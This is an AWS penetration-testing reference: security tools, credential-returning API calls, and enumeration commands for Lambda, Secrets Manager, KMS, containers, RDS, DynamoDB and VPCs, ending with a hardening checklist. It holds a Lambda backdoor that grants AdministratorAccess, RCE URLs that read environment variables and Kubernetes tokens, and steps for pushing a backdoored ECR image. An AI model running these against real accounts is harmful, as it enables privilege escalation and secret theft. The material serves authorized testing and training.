# Advanced AWS Penetration Testing Reference

## Table of Contents
- [Training Resources](#training-resources)
- [Extended Tools Arsenal](#extended-tools-arsenal)
- [AWS API Calls That Return Credentials](#aws-api-calls-that-return-credentials)
- [Lambda & API Gateway](#lambda--api-gateway)
- [Secrets Manager & KMS](#secrets-manager--kms)
- [Container Security (ECS/EKS/ECR)](#container-security-ecseksecr)
- [RDS Database Exploitation](#rds-database-exploitation)
- [DynamoDB Exploitation](#dynamodb-exploitation)
- [VPC Enumeration & Lateral Movement](#vpc-enumeration--lateral-movement)
- [Security Checklist](#security-checklist)

---

## Training Resources

| Resource | Description | URL |
|----------|-------------|-----|
| AWSGoat | Damn Vulnerable AWS Infrastructure | github.com/ine-labs/AWSGoat |
| Cloudgoat | AWS CTF-style scenario | github.com/RhinoSecurityLabs/cloudgoat |
| Flaws | AWS security challenge | flaws.cloud |
| SadCloud | Terraform for vuln AWS | github.com/nccgroup/sadcloud |
| DVCA | Vulnerable Cloud App | medium.com/poka-techblog |

---

## Extended Tools Arsenal

### weirdAAL - AWS Attack Library
```bash
python3 weirdAAL.py -m ec2_describe_instances -t demo
python3 weirdAAL.py -m lambda_get_account_settings -t demo
python3 weirdAAL.py -m lambda_get_function -a 'MY_LAMBDA_FUNCTION','us-west-2'
```

### cloudmapper - AWS Environment Analyzer
```bash
git clone https://github.com/duo-labs/cloudmapper.git
pipenv install --skip-lock
pipenv shell

# Commands
report     # Generate HTML report
iam_report # IAM-specific report
audit      # Check misconfigurations
collect    # Collect account metadata
find_admins # Identify admin users/roles
```

### cloudsplaining - IAM Security Assessment
```bash
pip3 install --user cloudsplaining
cloudsplaining download --profile myawsprofile
cloudsplaining scan --input-file default.json
```

### s3_objects_check - S3 Object Permissions
```bash
git clone https://github.com/nccgroup/s3_objects_check
python s3-objects-check.py -p whitebox-profile -e blackbox-profile
```

### dufflebag - Find EBS Secrets
```bash
# Finds secrets exposed via Amazon EBS's "public" mode
git clone https://github.com/BishopFox/dufflebag
```

---

## AWS API Calls That Return Credentials

| API Call | Description |
|----------|-------------|
| `chime:createapikey` | Create API key |
| `codepipeline:pollforjobs` | Poll for jobs |
| `cognito-identity:getopenidtoken` | Get OpenID token |
| `cognito-identity:getcredentialsforidentity` | Get identity credentials |
| `connect:getfederationtoken` | Get federation token |
| `ecr:getauthorizationtoken` | ECR auth token |
| `gamelift:requestuploadcredentials` | GameLift upload creds |
| `iam:createaccesskey` | Create access key |
| `iam:createloginprofile` | Creates a login profile using a supplied password; not a password-retrieval API |
| `iam:createservicespecificcredential` | Service-specific creds |
| `lightsail:getinstanceaccessdetails` | Instance access details |
| `lightsail:getrelationaldatabasemasteruserpassword` | DB master password |
| `rds-db:connect` | IAM authorization action for database login; not an API that returns credentials |
| `redshift:getclustercredentials` | Redshift credentials |
| `sso:getrolecredentials` | SSO role credentials |
| `sts:assumerole` | Assume role |
| `sts:assumerolewithsaml` | Assume role with SAML |
| `sts:assumerolewithwebidentity` | Web identity assume |
| `sts:getfederationtoken` | Federation token |
| `sts:getsessiontoken` | Session token |

---

## Lambda & API Gateway

### Lambda Enumeration

```bash
# List all lambda functions
aws lambda list-functions

# Get function details and download code
aws lambda get-function --function-name FUNCTION_NAME
wget -O lambda-function.zip "url-from-previous-query"

# Get function policy
aws lambda get-policy --function-name FUNCTION_NAME

# List event source mappings
aws lambda list-event-source-mappings --function-name FUNCTION_NAME

# List Lambda layers (dependencies)
aws lambda list-layers
aws lambda get-layer-version --layer-name NAME --version-number VERSION
```

### API Gateway Enumeration

```bash
# List REST APIs
aws apigateway get-rest-apis

# Get specific API info
aws apigateway get-rest-api --rest-api-id ID

# List endpoints (resources)
aws apigateway get-resources --rest-api-id ID

# Get method info
aws apigateway get-method --rest-api-id ID --resource-id RES_ID --http-method GET

# List API versions (stages)
aws apigateway get-stages --rest-api-id ID

# List API keys
aws apigateway get-api-keys --include-values
```

### Lambda Credential Access

```bash
# Via RCE - get environment variables
https://apigateway/prod/system?cmd=env

# Runtime invocation API access is not itself AWS credential retrieval; reaching it requires an applicable SSRF and can affect invocation processing.
https://apigateway/prod/example?url=http://localhost:9001/2018-06-01/runtime/invocation/

# Via file read
https://apigateway/prod/system?cmd=file:///proc/self/environ
```

### Lambda Backdooring

```python
# Malicious Lambda code to escalate privileges
import boto3
import json

def handler(event, context):
    iam = boto3.client("iam")
    iam.attach_role_policy(
        RoleName="role_name",
        PolicyArn="arn:aws:iam::aws:policy/AdministratorAccess"
    )
    iam.attach_user_policy(
        UserName="user_name",
        PolicyArn="arn:aws:iam::aws:policy/AdministratorAccess"
    )
    return {'statusCode': 200, 'body': json.dumps("Pwned")}
```

```bash
# Update function with backdoor
aws lambda update-function-code --function-name NAME --zip-file fileb://backdoor.zip

# Invoke backdoored function
curl https://API_ID.execute-api.REGION.amazonaws.com/STAGE/ENDPOINT
```

---

## Secrets Manager & KMS

### Secrets Manager Enumeration

```bash
# List all secrets
aws secretsmanager list-secrets

# Describe specific secret
aws secretsmanager describe-secret --secret-id NAME

# Get resource policy
aws secretsmanager get-resource-policy --secret-id ID

# Retrieve secret value
aws secretsmanager get-secret-value --secret-id ID
```

### KMS Enumeration

```bash
# List KMS keys
aws kms list-keys

# Describe key
aws kms describe-key --key-id ID

# List key policies
aws kms list-key-policies --key-id ID

# Get full policy
aws kms get-key-policy --policy-name NAME --key-id ID
```

### KMS Decryption

```bash
# Decrypt file (key info embedded in ciphertext)
aws kms decrypt --ciphertext-blob fileb://EncryptedFile --output text --query Plaintext
```

---

## Container Security (ECS/EKS/ECR)

### ECR Enumeration

```bash
# List repositories
aws ecr describe-repositories

# Get repository policy
aws ecr get-repository-policy --repository-name NAME

# List images
aws ecr list-images --repository-name NAME

# Describe image
aws ecr describe-images --repository-name NAME --image-ids imageTag=TAG
```

### ECS Enumeration

```bash
# List clusters
aws ecs list-clusters

# Describe cluster
aws ecs describe-clusters --clusters NAME

# List services
aws ecs list-services --cluster NAME

# Describe service
aws ecs describe-services --cluster NAME --services SERVICE

# List tasks
aws ecs list-tasks --cluster NAME

# Describe task (shows network info for pivoting)
aws ecs describe-tasks --cluster NAME --tasks TASK_ARN

# List container instances
aws ecs list-container-instances --cluster NAME
```

### EKS Enumeration

```bash
# List EKS clusters
aws eks list-clusters

# Describe cluster
aws eks describe-cluster --name NAME

# List node groups
aws eks list-nodegroups --cluster-name NAME

# Describe node group
aws eks describe-nodegroup --cluster-name NAME --nodegroup-name NODE_NAME

# List Fargate profiles
aws eks list-fargate-profiles --cluster-name NAME
```

### Container Backdooring

```bash
# Authenticate Docker to ECR
aws ecr get-login-password --region REGION | docker login --username AWS --password-stdin ECR_ADDR

# Build backdoored image
docker build -t image_name .

# Tag for ECR
docker tag image_name ECR_ADDR:IMAGE_NAME

# Push to ECR
docker push ECR_ADDR:IMAGE_NAME
```

### EKS Secrets via RCE

```bash
# List Kubernetes secrets
https://website.com/rce.php?cmd=ls /var/run/secrets/kubernetes.io/serviceaccount

# Get service account token
https://website.com/rce.php?cmd=cat /var/run/secrets/kubernetes.io/serviceaccount/token
```

---

## RDS Database Exploitation

### RDS Enumeration

```bash
# List RDS clusters
aws rds describe-db-clusters

# List RDS instances
aws rds describe-db-instances
# Check: IAMDatabaseAuthenticationEnabled: false = password auth

# List subnet groups
aws rds describe-db-subnet-groups

# List security groups
aws rds describe-db-security-groups

# List proxies
aws rds describe-db-proxies
```

### Password-Based Access

```bash
mysql -h HOSTNAME -u USERNAME -P PORT -p
```

### IAM-Based Access

```bash
# Generate auth token
TOKEN=$(aws rds generate-db-auth-token \
  --hostname HOSTNAME \
  --port PORT \
  --username USERNAME \
  --region REGION)

# Connect with token
mysql -h HOSTNAME -u USERNAME -P PORT \
  --enable-cleartext-plugin --ssl-ca=/path/to/approved-rds-ca-bundle.pem \
  --ssl-mode=VERIFY_IDENTITY -p
```

---

## DynamoDB Exploitation

```bash
# List tables
aws dynamodb list-tables

# Scan table contents
aws dynamodb scan --table-name TABLE_NAME | jq -r '.Items[]'

# Query specific items
aws dynamodb query --table-name TABLE_NAME \
  --key-condition-expression "pk = :pk" \
  --expression-attribute-values '{":pk":{"S":"user"}}'
```

---

## VPC Enumeration & Lateral Movement

### VPC Enumeration

```bash
# List VPCs
aws ec2 describe-vpcs

# List subnets
aws ec2 describe-subnets --filters "Name=vpc-id,Values=VPC_ID"

# List route tables
aws ec2 describe-route-tables --filters "Name=vpc-id,Values=VPC_ID"

# List Network ACLs
aws ec2 describe-network-acls

# List VPC peering connections
aws ec2 describe-vpc-peering-connections
```

### Route Table Targets

| Destination | Target | Description |
|-------------|--------|-------------|
| IP | `local` | VPC internal |
| IP | `igw` | Internet Gateway |
| IP | `nat` | NAT Gateway |
| IP | `pcx` | VPC Peering |
| IP | `vpce` | VPC Endpoint |
| IP | `vgw` | VPN Gateway |
| IP | `eni` | Network Interface |

### Lateral Movement via VPC Peering

```bash
# List peering connections
aws ec2 describe-vpc-peering-connections

# List instances in target VPC
aws ec2 describe-instances --filters "Name=vpc-id,Values=VPC_ID"

# List instances in specific subnet
aws ec2 describe-instances --filters "Name=subnet-id,Values=SUBNET_ID"
```

---

## Security Checklist

### Identity and Access Management
- [ ] Avoid use of root account
- [ ] MFA enabled for all IAM users with console access
- [ ] Disable credentials unused for 90+ days
- [ ] Prefer temporary role credentials; define rotation for unavoidable long-lived keys under the applicable policy
- [ ] Password policy: uppercase, lowercase, symbol, number, 14+ chars
- [ ] No root access keys exist
- [ ] MFA enabled for root account
- [ ] Review all identity/resource policies and effective permissions; group/role attachment alone is not proof of least privilege

### Logging
- [ ] CloudTrail enabled in all regions
- [ ] CloudTrail log file validation enabled
- [ ] CloudTrail S3 bucket not publicly accessible
- [ ] CloudTrail integrated with CloudWatch Logs
- [ ] AWS Config enabled in all regions
- [ ] CloudTrail logs encrypted with KMS
- [ ] KMS key rotation enabled

### Networking
- [ ] No security groups allow 0.0.0.0/0 to port 22
- [ ] No security groups allow 0.0.0.0/0 to port 3389
- [ ] VPC flow logging enabled
- [ ] Default security group restricts all traffic

### Monitoring
- [ ] Alarm for unauthorized API calls
- [ ] Alarm for console sign-in without MFA
- [ ] Alarm for root account usage
- [ ] Alarm for IAM policy changes
- [ ] Alarm for CloudTrail config changes
- [ ] Alarm for console auth failures
- [ ] Alarm for CMK disabling/deletion
- [ ] Alarm for S3 bucket policy changes
- [ ] Alarm for security group changes
- [ ] Alarm for NACL changes
- [ ] Alarm for VPC changes

## Interpretation limits

The credential table mixes token issuers, secret retrieval, credential creation and authorization actions; verify each service contract rather than expecting every row to return reusable credentials. KMS `Plaintext` is Base64-encoded in CLI output; preserve it privately and decode only when required by the approved test. For the MySQL example, paste the short-lived token at the password prompt, verify the intended hostname and approved CA bundle, then unset TOKEN. VPC peering does not itself authorize network or application access. Checklist values are policy inputs, not a universal AWS certification. See the parent guide for authorization, canary-only data collection, logging preservation and cleanup requirements.